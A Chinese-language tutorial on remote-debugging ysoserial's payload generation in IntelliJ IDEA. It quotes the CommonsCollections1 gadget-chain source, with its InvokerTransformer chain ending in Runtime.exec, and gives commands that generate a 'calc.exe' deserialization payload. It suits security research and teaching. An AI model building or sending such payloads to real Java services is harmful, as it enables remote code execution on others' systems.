ysoserial高级调试:远程调试Payload生成过程
引言:为什么需要远程调试Payload生成?
在Java反序列化问题(Unsafe Java Object Deserialization)的研究与分析中,ysoserial作为一款强大的Payload生成工具,其内部的Payload构造逻辑往往是安全分析的关键。然而,当我们面对复杂的Gadget Chain(如CommonsCollections系列)或需要定制化Payload时,单纯的源码阅读往往难以直观理解对象创建、属性赋值到最终序列化的完整流程。远程调试技术能够让我们在真实运行环境中暂停执行、观察变量状态、跟踪方法调用,从而精准定位Payload生成过程中的关键节点。本文将系统介绍如何通过远程调试技术深入分析ysoserial的Payload生成机制,帮助安全研究者提升对反序列化问题分析的理解深度。
读完本文后,你将掌握:
- 配置ysoserial项目支持远程调试的完整步骤
- 使用IntelliJ IDEA进行跨平台远程调试的操作方法
- 关键类(GeneratePayload/Serializer/CommonsCollections1)的调试断点设置策略
- 分析Gadget Chain构造过程的实用调试技巧
- 解决调试过程中常见问题(如类加载冲突、断点失效)的方案
环境准备与调试配置
开发环境要求
| 组件 | 版本要求 | 备注 |
|---|---|---|
| JDK | 8u201+ | 需与目标环境JDK版本匹配 |
| Maven | 3.6.3+ | 用于构建调试版本的ysoserial |
| IntelliJ IDEA | 2020.3+ | 提供强大的远程调试功能 |
| Git | 2.30.0+ | 克隆项目源码 |
源码获取与构建
# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/ys/ysoserial.git
cd ysoserial
# 使用Maven构建可调试版本(保留调试符号)
mvn clean package -DskipTests -Dmaven.compiler.debug=true -Dmaven.compiler.debuglevel=lines,vars,source
JVM远程调试参数配置
要启用远程调试,需要在启动ysoserial时添加JVM调试参数。以下是不同场景下的配置方法:
本地命令行启动调试
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 \
-jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
CommonsCollections1 "calc.exe"
参数说明:
transport=dt_socket:使用Socket传输调试信息server=y:作为调试服务器等待连接suspend=y:启动时暂停,等待调试器连接后再继续执行address=5005:调试端口号,需确保防火墙开放此端口
IntelliJ IDEA远程调试配置
- 打开Run/Debug Configurations
- 点击"+"添加"Remote JVM Debug"
- 配置参数:
- Name: ysoserial-remote-debug
- Host: localhost (远程调试时填写目标服务器IP)
- Port: 5005
- Transport: Socket
- Debugger mode: Attach
- 点击"Apply"保存配置
核心类调试断点策略
调试入口类:GeneratePayload
GeneratePayload作为ysoserial的主类,负责解析命令行参数、加载Payload类并触发生成流程。建议在以下位置设置断点:
// src/main/java/ysoserial/GeneratePayload.java
public static void main(final String[] args) {
if (args.length != 2) { // 断点1:参数解析处
printUsage();
System.exit(USAGE_CODE);
}
// ...
try {
final ObjectPayload payload = payloadClass.newInstance(); // 断点2:Payload实例化
final Object object = payload.getObject(command); // 断点3:关键!Payload对象创建
PrintStream out = System.out;
Serializer.serialize(object, out); // 断点4:序列化过程
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) { // 断点5:异常捕获处
// ...
}
}
调试技巧:在断点3处(payload.getObject(command))使用"条件断点"功能,仅当payloadClass.getSimpleName().equals("CommonsCollections1")时暂停,可过滤其他Payload类型的干扰。
序列化关键类:Serializer
Serializer类负责将构造好的Java对象序列化为字节流。重点关注序列化过程中的对象状态:
// src/main/java/ysoserial/Serializer.java
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out); // 断点1:输出流初始化
objOut.writeObject(obj); // 断点2:核心序列化操作
}
调试技巧:在writeObject调用处设置断点后,使用IDE的"监视"功能观察obj对象的内部结构,特别是Gadget Chain中的关键属性(如CommonsCollections1中的transformers数组)。
Payload实现类:以CommonsCollections1为例
CommonsCollections1作为经典的Gadget Chain实现,其getObject方法是Payload构造的核心:
// src/main/java/ysoserial/payloads/CommonsCollections1.java
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }); // 断点1:初始Transformer链
// real chain for after setup
final Transformer[] transformers = new Transformer[] { // 断点2:实际执行链定义
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// ... 更多Transformer
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 断点3:LazyMap装饰
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); // 断点4:代理创建
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); // 断点5:调用处理器
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // 断点6:关键!替换Transformer链
return handler;
}
调试技巧:在断点6处(替换Transformer链)前后对比transformerChain对象的iTransformers字段值,观察从"惰性链"到"执行链"的切换过程,这是理解Payload构造技巧的关键。
本地测试辅助类:PayloadRunner
PayloadRunner提供了本地执行Payload的能力,可用于调试完整的"生成-序列化-反序列化"流程:
// src/main/java/ysoserial/payloads/util/PayloadRunner.java
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
// ... Payload生成与序列化 ...
}});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized); // 断点:反序列化触发点
} catch (Exception e) {
e.printStackTrace();
}
}
使用方法:直接运行CommonsCollections1类的main方法,系统会自动调用PayloadRunner进行本地测试,无需手动输入命令行参数。
调试流程与关键观察点
完整调试流程(以CommonsCollections1为例)
关键调试观察点
-
Transformer链构造阶段
- 观察
transformers数组的元素组成,理解每个Transformer的作用:- ConstantTransformer:返回固定对象(如Runtime.class)
- InvokerTransformer:通过反射调用目标方法(如getMethod、invoke)
- 注意初始链(inert chain)与实际执行链(real chain)的区别,理解"延迟加载"技巧的实现
- 观察
-
动态代理创建阶段
- 在
Gadgets.createMemoitizedProxy调用后,检查返回的mapProxy对象类型(应为$Proxy实例) - 观察代理对象的
h字段(InvocationHandler实例),确认其与后续的handler对象关联
- 在
-
字段替换阶段
- 在
Reflections.setFieldValue调用后,验证transformerChain对象的iTransformers字段是否已被替换为实际执行链 - 使用IDE的"内存视图"功能查看字段修改前后的内存布局变化
- 在
-
序列化过程
- 观察ObjectOutputStream.writeObject调用时的对象图,特别注意:
- 哪些对象被标记为"可序列化"(实现Serializable接口)
- transient字段如何被处理(不会被序列化)
- writeObject/readObject自定义方法是否存在(可能改变序列化行为)
- 观察ObjectOutputStream.writeObject调用时的对象图,特别注意:
高级调试技巧与问题解决
条件断点与表达式求值
在分析复杂Payload时,使用条件断点可以大幅提高调试效率。例如:
// CommonsCollections1.getObject()中设置条件断点
this.getClass().getSimpleName().equals("CommonsCollections1") && command.contains("calc.exe")
调试时,可在"表达式求值"窗口实时执行代码片段,如:
// 在调试器表达式求值窗口执行
transformers[3].transform(null) // 应触发命令执行
解决类加载冲突问题
当调试环境中存在多个版本的依赖库(如不同版本的commons-collections)时,可能导致类加载冲突。解决方案:
- 在Maven pom.xml中使用
<dependencyManagement>锁定依赖版本 - 调试时指定
-verbose:class参数,观察类加载顺序:java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 \ -verbose:class \ -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \ CommonsCollections1 "calc.exe" - 在调试器中检查类的
classLoader字段,确认使用的是预期的类加载器
远程调试网络问题排查
当进行跨主机远程调试时,常见连接问题及解决方法:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 连接超时 | 目标主机防火墙拦截 | 在目标主机执行telnet <debug-host> 5005测试端口连通性 |
| 拒绝连接 | 调试参数未正确设置 | 确认目标进程启动时已添加远程调试参数,且suspend=y |
| 断点不触发 | 代码与调试版本不匹配 | 重新构建项目,确保目标JAR包包含最新调试符号 |
| 调试会话频繁断开 | 网络不稳定 | 使用-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005,timeout=300000延长超时时间 |
调试案例:追踪命令执行流程
以调试CommonsCollections1生成计算器命令为例,关键调试步骤:
-
在GeneratePayload.main中参数解析后,确认
payloadType为"CommonsCollections1",command为"calc.exe" -
在CommonsCollections1.getObject中,观察
execArgs数组被初始化为["calc.exe"] -
Transformer链构建后,手动执行以下表达式验证链功能:
// 在调试器表达式求值窗口执行 transformers[0].transform(null) // 应返回Runtime.class transformers[1].transform(Runtime.class) // 应返回Method对象(getRuntime方法) transformers[2].transform(Method对象) // 应返回Runtime实例 transformers[3].transform(Runtime实例) // 应执行calc.exe,弹出计算器窗口 -
序列化过程中,观察ObjectOutputStream对代理对象的处理:
- 确认
writeObject方法调用时,对象类型为$Proxy0(动态代理实例) - 检查序列化流中是否包含所有必要的Gadget Chain元素
- 确认
-
本地测试反序列化时,在PayloadRunner的deserialize调用处捕获异常:
- 异常类型应为InvocationTargetException(由命令执行触发)
- 异常堆栈应显示命令执行路径:
InvokerTransformer.transform()→Method.invoke()→Runtime.exec()
总结与进阶方向
通过远程调试技术,我们能够深入理解ysoserial中Payload的构造原理和执行流程,这不仅有助于安全分析,更为定制化Payload开发和防御研究提供了基础。建议进一步探索以下方向:
-
对比分析不同Payload实现:通过调试CommonsCollections1/2/3等系列Payload,理解Gadget Chain的进化历程
-
JDK版本差异调试:在不同JDK版本(如8u121前后)中调试相同Payload,观察由于JDK安全加固导致的行为变化
-
自定义Payload调试:基于现有Payload修改或创建新的Gadget Chain,通过调试验证其正确性
-
反调试对抗技术:研究如何绕过反调试机制(如检测
jdwp进程、检查调试端口),提升在受限环境中的调试能力
掌握远程调试技术,将使你在Java反序列化问题研究中如虎添翼,能够更快速、更准确地定位问题本质,为安全防御和分析提供深度洞察。
附录:常用调试命令参考
| 操作 | IntelliJ IDEA快捷键 | 功能说明 |
|---|---|---|
| 设置断点 | Ctrl+F8 | 在当前行切换断点 |
| 条件断点 | 右键断点→条件 | 设置断点触发条件 |
| 步入 | F7 | 进入当前方法 |
| 步过 | F8 | 执行当前行并移至下一行 |
| 步出 | Shift+F8 | 从当前方法退出 |
| 继续执行 | F9 | 继续执行至下一个断点 |
| 查看变量 | Alt+F8 | 打开表达式求值窗口 |
| 强制返回 | Shift+F9 | 强制从当前方法返回,可修改返回值 |
| 监视变量 | 右键变量→添加到监视 | 持续跟踪变量值变化 |
| 内存视图 | 调试窗口→内存 | 查看对象内存布局 |
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



